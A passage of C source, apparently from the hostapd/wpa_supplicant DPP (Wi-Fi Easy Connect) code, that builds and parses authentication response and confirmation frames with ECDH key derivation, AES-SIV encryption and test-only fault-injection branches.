wpa_printf(MSG_INFO, "DPP: TESTING - no R-Proto Key"); wpabuf_free(pr); pr = NULL; } else if (dpp_test == DPP_TEST_INVALID_R_PROTO_KEY_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid R-Proto Key"); wpabuf_free(pr); pr = wpabuf_alloc(2 * auth->curve->prime_len); if (!pr || dpp_test_gen_invalid_key(pr, auth->curve) < 0) goto fail; } else if (dpp_test == DPP_TEST_NO_R_AUTH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no R-Auth"); w_r_auth = NULL; wrapped_r_auth_len = 0; } else if (dpp_test == DPP_TEST_NO_STATUS_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no Status"); status = 255; } else if (dpp_test == DPP_TEST_INVALID_STATUS_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid Status"); status = 254; } else if (dpp_test == DPP_TEST_NO_R_NONCE_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no R-nonce"); r_nonce = NULL; } else if (dpp_test == DPP_TEST_NO_I_NONCE_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no I-nonce"); i_nonce = NULL; } #endif /* CONFIG_TESTING_OPTIONS */ msg = dpp_auth_build_resp(auth, status, pr, nonce_len, r_pubkey_hash, i_pubkey_hash, r_nonce, i_nonce, w_r_auth, wrapped_r_auth_len, auth->k2); if (!msg) goto fail; wpabuf_free(auth->resp_msg); auth->resp_msg = msg; ret = 0; fail: wpabuf_free(pr); return ret; } static int dpp_auth_build_resp_status(struct dpp_authentication *auth, enum dpp_status_error status) { struct wpabuf *msg; const u8 *r_pubkey_hash, *i_pubkey_hash, *i_nonce; #ifdef CONFIG_TESTING_OPTIONS u8 test_hash[SHA256_MAC_LEN]; #endif /* CONFIG_TESTING_OPTIONS */ if (!auth->own_bi) return -1; wpa_printf(MSG_DEBUG, "DPP: Build Authentication Response"); r_pubkey_hash = auth->own_bi->pubkey_hash; if (auth->peer_bi) i_pubkey_hash = auth->peer_bi->pubkey_hash; else i_pubkey_hash = NULL; i_nonce = auth->i_nonce; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_R_BOOTSTRAP_KEY_HASH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no R-Bootstrap Key Hash"); r_pubkey_hash = NULL; } else if (dpp_test == DPP_TEST_INVALID_R_BOOTSTRAP_KEY_HASH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid R-Bootstrap Key Hash"); os_memcpy(test_hash, r_pubkey_hash, SHA256_MAC_LEN); test_hash[SHA256_MAC_LEN - 1] ^= 0x01; r_pubkey_hash = test_hash; } else if (dpp_test == DPP_TEST_NO_I_BOOTSTRAP_KEY_HASH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no I-Bootstrap Key Hash"); i_pubkey_hash = NULL; } else if (dpp_test == DPP_TEST_INVALID_I_BOOTSTRAP_KEY_HASH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid I-Bootstrap Key Hash"); if (i_pubkey_hash) os_memcpy(test_hash, i_pubkey_hash, SHA256_MAC_LEN); else os_memset(test_hash, 0, SHA256_MAC_LEN); test_hash[SHA256_MAC_LEN - 1] ^= 0x01; i_pubkey_hash = test_hash; } else if (dpp_test == DPP_TEST_NO_STATUS_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no Status"); status = -1; } else if (dpp_test == DPP_TEST_NO_I_NONCE_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no I-nonce"); i_nonce = NULL; } #endif /* CONFIG_TESTING_OPTIONS */ msg = dpp_auth_build_resp(auth, status, NULL, auth->curve->nonce_len, r_pubkey_hash, i_pubkey_hash, NULL, i_nonce, NULL, 0, auth->k1); if (!msg) return -1; wpabuf_free(auth->resp_msg); auth->resp_msg = msg; return 0; } struct dpp_authentication * dpp_auth_req_rx(void *msg_ctx, u8 dpp_allowed_roles, int qr_mutual, struct dpp_bootstrap_info *peer_bi, struct dpp_bootstrap_info *own_bi, unsigned int freq, const u8 *hdr, const u8 *attr_start, size_t attr_len) { EVP_PKEY *pi = NULL; EVP_PKEY_CTX *ctx = NULL; size_t secret_len; const u8 *addr[2]; size_t len[2]; u8 *unwrapped = NULL; size_t unwrapped_len = 0; const u8 *wrapped_data, *i_proto, *i_nonce, *i_capab, *i_bootstrap, *channel; u16 wrapped_data_len, i_proto_len, i_nonce_len, i_capab_len, i_bootstrap_len, channel_len; struct dpp_authentication *auth = NULL; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_STOP_AT_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - stop at Authentication Request"); return NULL; } #endif /* CONFIG_TESTING_OPTIONS */ wrapped_data = dpp_get_attr(attr_start, attr_len, DPP_ATTR_WRAPPED_DATA, &wrapped_data_len); if (!wrapped_data || wrapped_data_len < AES_BLOCK_SIZE) { wpa_msg(msg_ctx, MSG_INFO, DPP_EVENT_FAIL "Missing or invalid required Wrapped Data attribute"); return NULL; } wpa_hexdump(MSG_MSGDUMP, "DPP: Wrapped Data", wrapped_data, wrapped_data_len); attr_len = wrapped_data - 4 - attr_start; auth = os_zalloc(sizeof(*auth)); if (!auth) goto fail; auth->msg_ctx = msg_ctx; auth->peer_bi = peer_bi; auth->own_bi = own_bi; auth->curve = own_bi->curve; auth->curr_freq = freq; channel = dpp_get_attr(attr_start, attr_len, DPP_ATTR_CHANNEL, &channel_len); if (channel) { int neg_freq; if (channel_len < 2) { dpp_auth_fail(auth, "Too short Channel attribute"); goto fail; } neg_freq = ieee80211_chan_to_freq(NULL, channel[0], channel[1]); wpa_printf(MSG_DEBUG, "DPP: Initiator requested different channel for negotiation: op_class=%u channel=%u --> freq=%d", channel[0], channel[1], neg_freq); if (neg_freq < 0) { dpp_auth_fail(auth, "Unsupported Channel attribute value"); goto fail; } if (auth->curr_freq != (unsigned int) neg_freq) { wpa_printf(MSG_DEBUG, "DPP: Changing negotiation channel from %u MHz to %u MHz", freq, neg_freq); auth->curr_freq = neg_freq; } } i_proto = dpp_get_attr(attr_start, attr_len, DPP_ATTR_I_PROTOCOL_KEY, &i_proto_len); if (!i_proto) { dpp_auth_fail(auth, "Missing required Initiator Protocol Key attribute"); goto fail; } wpa_hexdump(MSG_MSGDUMP, "DPP: Initiator Protocol Key", i_proto, i_proto_len); /* M = bR * PI */ pi = dpp_set_pubkey_point(own_bi->pubkey, i_proto, i_proto_len); if (!pi) { dpp_auth_fail(auth, "Invalid Initiator Protocol Key"); goto fail; } dpp_debug_print_key("Peer (Initiator) Protocol Key", pi); ctx = EVP_PKEY_CTX_new(own_bi->pubkey, NULL); if (!ctx || EVP_PKEY_derive_init(ctx) != 1 || EVP_PKEY_derive_set_peer(ctx, pi) != 1 || EVP_PKEY_derive(ctx, NULL, &secret_len) != 1 || secret_len > DPP_MAX_SHARED_SECRET_LEN || EVP_PKEY_derive(ctx, auth->Mx, &secret_len) != 1) { wpa_printf(MSG_ERROR, "DPP: Failed to derive ECDH shared secret: %s", ERR_error_string(ERR_get_error(), NULL)); dpp_auth_fail(auth, "Failed to derive ECDH shared secret"); goto fail; } auth->secret_len = secret_len; EVP_PKEY_CTX_free(ctx); ctx = NULL; wpa_hexdump_key(MSG_DEBUG, "DPP: ECDH shared secret (M.x)", auth->Mx, auth->secret_len); auth->Mx_len = auth->secret_len; if (dpp_derive_k1(auth->Mx, auth->secret_len, auth->k1, auth->curve->hash_len) < 0) goto fail; addr[0] = hdr; len[0] = DPP_HDR_LEN; addr[1] = attr_start; len[1] = attr_len; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[0]", addr[0], len[0]); wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[1]", addr[1], len[1]); wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped_data, wrapped_data_len); unwrapped_len = wrapped_data_len - AES_BLOCK_SIZE; unwrapped = os_malloc(unwrapped_len); if (!unwrapped) goto fail; if (aes_siv_decrypt(auth->k1, auth->curve->hash_len, wrapped_data, wrapped_data_len, 2, addr, len, unwrapped) < 0) { dpp_auth_fail(auth, "AES-SIV decryption failed"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV cleartext", unwrapped, unwrapped_len); if (dpp_check_attrs(unwrapped, unwrapped_len) < 0) { dpp_auth_fail(auth, "Invalid attribute in unwrapped data"); goto fail; } i_nonce = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_I_NONCE, &i_nonce_len); if (!i_nonce || i_nonce_len != auth->curve->nonce_len) { dpp_auth_fail(auth, "Missing or invalid I-nonce"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: I-nonce", i_nonce, i_nonce_len); os_memcpy(auth->i_nonce, i_nonce, i_nonce_len); i_capab = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_I_CAPABILITIES, &i_capab_len); if (!i_capab || i_capab_len < 1) { dpp_auth_fail(auth, "Missing or invalid I-capabilities"); goto fail; } auth->i_capab = i_capab[0]; wpa_printf(MSG_DEBUG, "DPP: I-capabilities: 0x%02x", auth->i_capab); bin_clear_free(unwrapped, unwrapped_len); unwrapped = NULL; switch (auth->i_capab & DPP_CAPAB_ROLE_MASK) { case DPP_CAPAB_ENROLLEE: if (!(dpp_allowed_roles & DPP_CAPAB_CONFIGURATOR)) { wpa_printf(MSG_DEBUG, "DPP: Local policy does not allow Configurator role"); goto not_compatible; } wpa_printf(MSG_DEBUG, "DPP: Acting as Configurator"); auth->configurator = 1; break; case DPP_CAPAB_CONFIGURATOR: if (!(dpp_allowed_roles & DPP_CAPAB_ENROLLEE)) { wpa_printf(MSG_DEBUG, "DPP: Local policy does not allow Enrollee role"); goto not_compatible; } wpa_printf(MSG_DEBUG, "DPP: Acting as Enrollee"); auth->configurator = 0; break; case DPP_CAPAB_CONFIGURATOR | DPP_CAPAB_ENROLLEE: if (dpp_allowed_roles & DPP_CAPAB_ENROLLEE) { wpa_printf(MSG_DEBUG, "DPP: Acting as Enrollee"); auth->configurator = 0; } else if (dpp_allowed_roles & DPP_CAPAB_CONFIGURATOR) { wpa_printf(MSG_DEBUG, "DPP: Acting as Configurator"); auth->configurator = 1; } else { wpa_printf(MSG_DEBUG, "DPP: Local policy does not allow Configurator/Enrollee role"); goto not_compatible; } break; default: wpa_printf(MSG_DEBUG, "DPP: Unexpected role in I-capabilities"); wpa_msg(auth->msg_ctx, MSG_INFO, DPP_EVENT_FAIL "Invalid role in I-capabilities 0x%02x", auth->i_capab & DPP_CAPAB_ROLE_MASK); goto fail; } auth->peer_protocol_key = pi; pi = NULL; if (qr_mutual && !peer_bi && own_bi->type == DPP_BOOTSTRAP_QR_CODE) { char hex[SHA256_MAC_LEN * 2 + 1]; wpa_printf(MSG_DEBUG, "DPP: Mutual authentication required with QR Codes, but peer info is not yet available - request more time"); if (dpp_auth_build_resp_status(auth, DPP_STATUS_RESPONSE_PENDING) < 0) goto fail; i_bootstrap = dpp_get_attr(attr_start, attr_len, DPP_ATTR_I_BOOTSTRAP_KEY_HASH, &i_bootstrap_len); if (i_bootstrap && i_bootstrap_len == SHA256_MAC_LEN) { auth->response_pending = 1; os_memcpy(auth->waiting_pubkey_hash, i_bootstrap, i_bootstrap_len); wpa_snprintf_hex(hex, sizeof(hex), i_bootstrap, i_bootstrap_len); } else { hex[0] = '\0'; } wpa_msg(auth->msg_ctx, MSG_INFO, DPP_EVENT_SCAN_PEER_QR_CODE "%s", hex); return auth; } if (dpp_auth_build_resp_ok(auth) < 0) goto fail; return auth; not_compatible: wpa_msg(auth->msg_ctx, MSG_INFO, DPP_EVENT_NOT_COMPATIBLE "i-capab=0x%02x", auth->i_capab); if (dpp_allowed_roles & DPP_CAPAB_CONFIGURATOR) auth->configurator = 1; else auth->configurator = 0; auth->peer_protocol_key = pi; pi = NULL; if (dpp_auth_build_resp_status(auth, DPP_STATUS_NOT_COMPATIBLE) < 0) goto fail; auth->remove_on_tx_status = 1; return auth; fail: bin_clear_free(unwrapped, unwrapped_len); EVP_PKEY_free(pi); EVP_PKEY_CTX_free(ctx); dpp_auth_deinit(auth); return NULL; } int dpp_notify_new_qr_code(struct dpp_authentication *auth, struct dpp_bootstrap_info *peer_bi) { if (!auth || !auth->response_pending || os_memcmp(auth->waiting_pubkey_hash, peer_bi->pubkey_hash, SHA256_MAC_LEN) != 0) return 0; wpa_printf(MSG_DEBUG, "DPP: New scanned QR Code has matching public key that was needed to continue DPP Authentication exchange with " MACSTR, MAC2STR(auth->peer_mac_addr)); auth->peer_bi = peer_bi; if (dpp_auth_build_resp_ok(auth) < 0) return -1; return 1; } static struct wpabuf * dpp_auth_build_conf(struct dpp_authentication *auth, enum dpp_status_error status) { struct wpabuf *msg; u8 i_auth[4 + DPP_MAX_HASH_LEN]; size_t i_auth_len; u8 r_nonce[4 + DPP_MAX_NONCE_LEN]; size_t r_nonce_len; const u8 *addr[2]; size_t len[2], attr_len; u8 *wrapped_i_auth; u8 *wrapped_r_nonce; u8 *attr_start, *attr_end; const u8 *r_pubkey_hash, *i_pubkey_hash; #ifdef CONFIG_TESTING_OPTIONS u8 test_hash[SHA256_MAC_LEN]; #endif /* CONFIG_TESTING_OPTIONS */ wpa_printf(MSG_DEBUG, "DPP: Build Authentication Confirmation"); i_auth_len = 4 + auth->curve->hash_len; r_nonce_len = 4 + auth->curve->nonce_len; /* Build DPP Authentication Confirmation frame attributes */ attr_len = 4 + 1 + 2 * (4 + SHA256_MAC_LEN) + 4 + i_auth_len + r_nonce_len + AES_BLOCK_SIZE; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_AUTH_CONF) attr_len += 5; #endif /* CONFIG_TESTING_OPTIONS */ msg = dpp_alloc_msg(DPP_PA_AUTHENTICATION_CONF, attr_len); if (!msg) goto fail; attr_start = wpabuf_put(msg, 0); r_pubkey_hash = auth->peer_bi->pubkey_hash; if (auth->own_bi) i_pubkey_hash = auth->own_bi->pubkey_hash; else i_pubkey_hash = NULL; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_STATUS_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - no Status"); goto skip_status; } else if (dpp_test == DPP_TEST_INVALID_STATUS_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid Status"); status = 254; } #endif /* CONFIG_TESTING_OPTIONS */ /* DPP Status */ dpp_build_attr_status(msg, status); #ifdef CONFIG_TESTING_OPTIONS skip_status: if (dpp_test == DPP_TEST_NO_R_BOOTSTRAP_KEY_HASH_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - no R-Bootstrap Key Hash"); r_pubkey_hash = NULL; } else if (dpp_test == DPP_TEST_INVALID_R_BOOTSTRAP_KEY_HASH_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid R-Bootstrap Key Hash"); os_memcpy(test_hash, r_pubkey_hash, SHA256_MAC_LEN); test_hash[SHA256_MAC_LEN - 1] ^= 0x01; r_pubkey_hash = test_hash; } else if (dpp_test == DPP_TEST_NO_I_BOOTSTRAP_KEY_HASH_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - no I-Bootstrap Key Hash"); i_pubkey_hash = NULL; } else if (dpp_test == DPP_TEST_INVALID_I_BOOTSTRAP_KEY_HASH_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid I-Bootstrap Key Hash"); if (i_pubkey_hash) os_memcpy(test_hash, i_pubkey_hash, SHA256_MAC_LEN); else os_memset(test_hash, 0, SHA256_MAC_LEN); test_hash[SHA256_MAC_LEN - 1] ^= 0x01; i_pubkey_hash = test_hash; } #endif /* CONFIG_TESTING_OPTIONS */ /* Responder Bootstrapping Key Hash */ dpp_build_attr_r_bootstrap_key_hash(msg, r_pubkey_hash); /* Initiator Bootstrapping Key Hash (mutual authentication) */ dpp_build_attr_i_bootstrap_key_hash(msg, i_pubkey_hash); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_WRAPPED_DATA_AUTH_CONF) goto skip_wrapped_data; if (dpp_test == DPP_TEST_NO_I_AUTH_AUTH_CONF) i_auth_len = 0; #endif /* CONFIG_TESTING_OPTIONS */ attr_end = wpabuf_put(msg, 0); /* OUI, OUI type, Crypto Suite, DPP frame type */ addr[0] = wpabuf_head_u8(msg) + 2; len[0] = 3 + 1 + 1 + 1; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[0]", addr[0], len[0]); /* Attributes before Wrapped Data */ addr[1] = attr_start; len[1] = attr_end - attr_start; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[1]", addr[1], len[1]); if (status == DPP_STATUS_OK) { /* I-auth wrapped with ke */ wpabuf_put_le16(msg, DPP_ATTR_WRAPPED_DATA); wpabuf_put_le16(msg, i_auth_len + AES_BLOCK_SIZE); wrapped_i_auth = wpabuf_put(msg, i_auth_len + AES_BLOCK_SIZE); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_I_AUTH_AUTH_CONF) goto skip_i_auth; #endif /* CONFIG_TESTING_OPTIONS */ /* I-auth = H(R-nonce | I-nonce | PR.x | PI.x | BR.x | [BI.x |] * 1) */ WPA_PUT_LE16(i_auth, DPP_ATTR_I_AUTH_TAG); WPA_PUT_LE16(&i_auth[2], auth->curve->hash_len); if (dpp_gen_i_auth(auth, i_auth + 4) < 0) goto fail; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_I_AUTH_MISMATCH_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - I-auth mismatch"); i_auth[4 + auth->curve->hash_len / 2] ^= 0x01; } skip_i_auth: #endif /* CONFIG_TESTING_OPTIONS */ if (aes_siv_encrypt(auth->ke, auth->curve->hash_len, i_auth, i_auth_len, 2, addr, len, wrapped_i_auth) < 0) goto fail; wpa_hexdump(MSG_DEBUG, "DPP: {I-auth}ke", wrapped_i_auth, i_auth_len + AES_BLOCK_SIZE); } else { /* R-nonce wrapped with k2 */ wpabuf_put_le16(msg, DPP_ATTR_WRAPPED_DATA); wpabuf_put_le16(msg, r_nonce_len + AES_BLOCK_SIZE); wrapped_r_nonce = wpabuf_put(msg, r_nonce_len + AES_BLOCK_SIZE); WPA_PUT_LE16(r_nonce, DPP_ATTR_R_NONCE); WPA_PUT_LE16(&r_nonce[2], auth->curve->nonce_len); os_memcpy(r_nonce + 4, auth->r_nonce, auth->curve->nonce_len); if (aes_siv_encrypt(auth->k2, auth->curve->hash_len, r_nonce, r_nonce_len, 2, addr, len, wrapped_r_nonce) < 0) goto fail; wpa_hexdump(MSG_DEBUG, "DPP: {R-nonce}k2", wrapped_r_nonce, r_nonce_len + AES_BLOCK_SIZE); } #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - attr after Wrapped Data"); dpp_build_attr_status(msg, DPP_STATUS_OK); } skip_wrapped_data: #endif /* CONFIG_TESTING_OPTIONS */ wpa_hexdump_buf(MSG_DEBUG, "DPP: Authentication Confirmation frame attributes", msg); if (status == DPP_STATUS_OK) dpp_auth_success(auth); return msg; fail: wpabuf_free(msg); return NULL; } static void dpp_auth_resp_rx_status(struct dpp_authentication *auth, const u8 *hdr, const u8 *attr_start, size_t attr_len, const u8 *wrapped_data, u16 wrapped_data_len, enum dpp_status_error status) { const u8 *addr[2]; size_t len[2]; u8 *unwrapped = NULL; size_t unwrapped_len = 0; const u8 *i_nonce, *r_capab; u16 i_nonce_len, r_capab_len; if (status == DPP_STATUS_NOT_COMPATIBLE) { wpa_printf(MSG_DEBUG, "DPP: Responder reported incompatible roles"); } else if (status == DPP_STATUS_RESPONSE_PENDING) { wpa_printf(MSG_DEBUG, "DPP: Responder reported more time needed"); } else { wpa_printf(MSG_DEBUG, "DPP: Responder reported failure (status %d)", status); dpp_auth_fail(auth, "Responder reported failure"); return; } addr[0] = hdr; len[0] = DPP_HDR_LEN; addr[1] = attr_start; len[1] = attr_len; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[0]", addr[0], len[0]); wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[1]", addr[1], len[1]); wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped_data, wrapped_data_len); unwrapped_len = wrapped_data_len - AES_BLOCK_SIZE; unwrapped = os_malloc(unwrapped_len); if (!unwrapped) goto fail; if (aes_siv_decrypt(auth->k1, auth->curve->hash_len, wrapped_data, wrapped_data_len, 2, addr, len, unwrapped) < 0) { dpp_auth_fail(auth, "AES-SIV decryption failed"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV cleartext", unwrapped, unwrapped_len); if (dpp_check_attrs(unwrapped, unwrapped_len) < 0) { dpp_auth_fail(auth, "Invalid attribute in unwrapped data"); goto fail; } i_nonce = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_I_NONCE, &i_nonce_len); if (!i_nonce || i_nonce_len != auth->curve->nonce_len) { dpp_auth_fail(auth, "Missing or invalid I-nonce"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: I-nonce", i_nonce, i_nonce_len); if (os_memcmp(auth->i_nonce, i_nonce, i_nonce_len) != 0) { dpp_auth_fail(auth, "I-nonce mismatch"); goto fail; } r_capab = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_R_CAPABILITIES, &r_capab_len); if (!r_capab || r_capab_len < 1) { dpp_auth_fail(auth, "Missing or invalid R-capabilities"); goto fail; } auth->r_capab = r_capab[0]; wpa_printf(MSG_DEBUG, "DPP: R-capabilities: 0x%02x", auth->r_capab); if (status == DPP_STATUS_NOT_COMPATIBLE) { wpa_msg(auth->msg_ctx, MSG_INFO, DPP_EVENT_NOT_COMPATIBLE "r-capab=0x%02x", auth->r_capab); } else if (status == DPP_STATUS_RESPONSE_PENDING) { u8 role = auth->r_capab & DPP_CAPAB_ROLE_MASK; if ((auth->configurator && role != DPP_CAPAB_ENROLLEE) || (!auth->configurator && role != DPP_CAPAB_CONFIGURATOR)) { wpa_msg(auth->msg_ctx, MSG_INFO, DPP_EVENT_FAIL "Unexpected role in R-capabilities 0x%02x", role); } else { wpa_printf(MSG_DEBUG, "DPP: Continue waiting for full DPP Authentication Response"); wpa_msg(auth->msg_ctx, MSG_INFO, DPP_EVENT_RESPONSE_PENDING "%s", auth->tmp_own_bi ? auth->tmp_own_bi->uri : ""); } } fail: bin_clear_free(unwrapped, unwrapped_len); } struct wpabuf * dpp_auth_resp_rx(struct dpp_authentication *auth, const u8 *hdr, const u8 *attr_start, size_t attr_len) { EVP_PKEY *pr; EVP_PKEY_CTX *ctx = NULL; size_t secret_len; const u8 *addr[2]; size_t len[2]; u8 *unwrapped = NULL, *unwrapped2 = NULL; size_t unwrapped_len = 0, unwrapped2_len = 0; const u8 *r_bootstrap, *i_bootstrap, *wrapped_data, *status, *r_proto, *r_nonce, *i_nonce, *r_capab, *wrapped2, *r_auth; u16 r_bootstrap_len, i_bootstrap_len, wrapped_data_len, status_len, r_proto_len, r_nonce_len, i_nonce_len, r_capab_len, wrapped2_len, r_auth_len; u8 r_auth2[DPP_MAX_HASH_LEN]; u8 role; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_STOP_AT_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - stop at Authentication Response"); return NULL; } #endif /* CONFIG_TESTING_OPTIONS */ if (!auth->initiator) { dpp_auth_fail(auth, "Unexpected Authentication Response"); return NULL; } auth->waiting_auth_resp = 0; wrapped_data = dpp_get_attr(attr_start, attr_len, DPP_ATTR_WRAPPED_DATA, &wrapped_data_len); if (!wrapped_data || wrapped_data_len < AES_BLOCK_SIZE) { dpp_auth_fail(auth, "Missing or invalid required Wrapped Data attribute"); return NULL; } wpa_hexdump(MSG_DEBUG, "DPP: Wrapped data", wrapped_data, wrapped_data_len); attr_len = wrapped_data - 4 - attr_start; r_bootstrap = dpp_get_attr(attr_start, attr_len, DPP_ATTR_R_BOOTSTRAP_KEY_HASH, &r_bootstrap_len); if (!r_bootstrap || r_bootstrap_len != SHA256_MAC_LEN) { dpp_auth_fail(auth, "Missing or invalid required Responder Bootstrapping Key Hash attribute"); return NULL; } wpa_hexdump(MSG_DEBUG, "DPP: Responder Bootstrapping Key Hash", r_bootstrap, r_bootstrap_len); if (os_memcmp(r_bootstrap, auth->peer_bi->pubkey_hash, SHA256_MAC_LEN) != 0) { dpp_auth_fail(auth, "Unexpected Responder Bootstrapping Key Hash value"); wpa_hexdump(MSG_DEBUG, "DPP: Expected Responder Bootstrapping Key Hash", auth->peer_bi->pubkey_hash, SHA256_MAC_LEN); return NULL; } i_bootstrap = dpp_get_attr(attr_start, attr_len, DPP_ATTR_I_BOOTSTRAP_KEY_HASH, &i_bootstrap_len); if (i_bootstrap) { if (i_bootstrap_len != SHA256_MAC_LEN) { dpp_auth_fail(auth, "Invalid Initiator Bootstrapping Key Hash attribute"); return NULL; } wpa_hexdump(MSG_MSGDUMP, "DPP: Initiator Bootstrapping Key Hash", i_bootstrap, i_bootstrap_len); if (!auth->own_bi || os_memcmp(i_bootstrap, auth->own_bi->pubkey_hash, SHA256_MAC_LEN) != 0) { dpp_auth_fail(auth, "Initiator Bootstrapping Key Hash attribute did not match"); return NULL; } } else if (auth->own_bi && auth->own_bi->type == DPP_BOOTSTRAP_PKEX) { /* PKEX bootstrapping mandates use of mutual authentication */ dpp_auth_fail(auth, "Missing Initiator Bootstrapping Key Hash attribute"); return NULL; } status = dpp_get_attr(attr_start, attr_len, DPP_ATTR_STATUS, &status_len); if (!status || status_len < 1) { dpp_auth_fail(auth, "Missing or invalid required DPP Status attribute"); return NULL; } wpa_printf(MSG_DEBUG, "DPP: Status %u", status[0]); auth->auth_resp_status = status[0]; if (status[0] != DPP_STATUS_OK) { dpp_auth_resp_rx_status(auth, hdr, attr_start, attr_len, wrapped_data, wrapped_data_len, status[0]); return NULL; } if (!i_bootstrap && auth->own_bi) { wpa_printf(MSG_DEBUG, "DPP: Responder decided not to use mutual authentication"); auth->own_bi = NULL; } wpa_msg(auth->msg_ctx, MSG_INFO, DPP_EVENT_AUTH_DIRECTION "mutual=%d", auth->own_bi != NULL); r_proto = dpp_get_attr(attr_start, attr_len, DPP_ATTR_R_PROTOCOL_KEY, &r_proto_len); if (!r_proto) { dpp_auth_fail(auth, "Missing required Responder Protocol Key attribute"); return NULL; } wpa_hexdump(MSG_MSGDUMP, "DPP: Responder Protocol Key", r_proto, r_proto_len); /* N = pI * PR */ pr = dpp_set_pubkey_point(auth->own_protocol_key, r_proto, r_proto_len); if (!pr) { dpp_auth_fail(auth, "Invalid Responder Protocol Key"); return NULL; } dpp_debug_print_key("Peer (Responder) Protocol Key", pr); ctx = EVP_PKEY_CTX_new(auth->own_protocol_key, NULL); if (!ctx || EVP_PKEY_derive_init(ctx) != 1 || EVP_PKEY_derive_set_peer(ctx, pr) != 1 || EVP_PKEY_derive(ctx, NULL, &secret_len) != 1 || secret_len > DPP_MAX_SHARED_SECRET_LEN || EVP_PKEY_derive(ctx, auth->Nx, &secret_len) != 1) { wpa_printf(MSG_ERROR, "DPP: Failed to derive ECDH shared secret: %s", ERR_error_string(ERR_get_error(), NULL)); dpp_auth_fail(auth, "Failed to derive ECDH shared secret"); goto fail; } EVP_PKEY_CTX_free(ctx); ctx = NULL; auth->peer_protocol_key = pr; pr = NULL; wpa_hexdump_key(MSG_DEBUG, "DPP: ECDH shared secret (N.x)", auth->Nx, auth->secret_len); auth->Nx_len = auth->secret_len; if (dpp_derive_k2(auth->Nx, auth->secret_len, auth->k2, auth->curve->hash_len) < 0) goto fail; addr[0] = hdr; len[0] = DPP_HDR_LEN; addr[1] = attr_start; len[1] = attr_len; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[0]", addr[0], len[0]); wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[1]", addr[1], len[1]); wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped_data, wrapped_data_len); unwrapped_len = wrapped_data_len - AES_BLOCK_SIZE; unwrapped = os_malloc(unwrapped_len); if (!unwrapped) goto fail; if (aes_siv_decrypt(auth->k2, auth->curve->hash_len, wrapped_data, wrapped_data_len, 2, addr, len, unwrapped) < 0) { dpp_auth_fail(auth, "AES-SIV decryption failed"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV cleartext", unwrapped, unwrapped_len); if (dpp_check_attrs(unwrapped, unwrapped_len) < 0) { dpp_auth_fail(auth, "Invalid attribute in unwrapped data"); goto fail; } r_nonce = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_R_NONCE, &r_nonce_len); if (!r_nonce || r_nonce_len != auth->curve->nonce_len) { dpp_auth_fail(auth, "DPP: Missing or invalid R-nonce"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: R-nonce", r_nonce, r_nonce_len); os_memcpy(auth->r_nonce, r_nonce, r_nonce_len); i_nonce = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_I_NONCE, &i_nonce_len); if (!i_nonce || i_nonce_len != auth->curve->nonce_len) { dpp_auth_fail(auth, "Missing or invalid I-nonce"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: I-nonce", i_nonce, i_nonce_len); if (os_memcmp(auth->i_nonce, i_nonce, i_nonce_len) != 0) { 